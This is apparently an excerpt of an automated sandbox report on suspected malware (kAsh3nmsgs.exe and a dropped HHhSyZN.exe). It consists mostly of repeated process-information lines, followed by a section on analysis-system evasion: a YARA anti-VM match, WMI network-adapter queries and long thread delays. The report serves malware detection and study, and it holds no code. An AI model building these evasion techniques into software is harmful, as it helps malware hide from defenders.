Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: kAsh3nmsgs.exe PID: 1216, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 2F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 5510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 6510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 6640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 7640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: B6C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: C6C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: CB50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: DB50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 1170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 2C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Memory allocated: 4C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 15E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 3030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 5030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 56A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 66A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 67D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 77D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: B2E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: C2E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: C770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: D770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 1500000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 2FD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199969	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199844	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199734	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199625	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199516	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199407	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199282	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199157	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199047	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1198938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199875
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199766
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199641
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199531
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199422
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199313
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199188
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1199063
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198953
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198839
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198734
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198625
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 1198515

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6710	Jump to behavior
